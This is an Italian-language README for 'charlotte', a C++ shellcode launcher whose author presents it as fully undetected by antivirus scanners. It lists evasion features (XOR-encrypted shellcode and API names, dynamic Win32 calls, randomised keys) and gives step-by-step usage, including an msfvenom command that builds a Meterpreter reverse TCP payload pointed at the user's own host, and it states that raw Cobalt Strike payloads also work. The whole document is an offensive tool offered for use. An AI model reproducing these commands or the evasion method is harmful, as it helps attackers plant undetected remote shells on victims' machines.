charlotte

c++ shellcode launcher completamente non rilevato ;)

rilasciato per celebrare la nascita del mio neonato

descrizione

13/05/2021:

1. shellcode launcher in c++, completamente non rilevato 0/26 al 13 maggio 2021.
2. invocazione dinamica delle funzioni API win32
3. crittografia XOR dello shellcode e dei nomi delle funzioni
4. chiavi XOR e variabili randomizzate per esecuzione
5. su Kali Linux, basta 'apt-get install mingw-w64*' e tutto qui!

17/05/2021:

6. lunghezza casuale delle stringhe e delle chiavi XOR

antiscan.me

utilizzo

clonare il repository, generare il file dello shellcode con nome beacon.bin, ed eseguire charlotte.py

esempio:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. profitto

testato con msfvenom -p (mostrato nel .gif POC qui sotto) e anche payload in formato raw di cobalt strike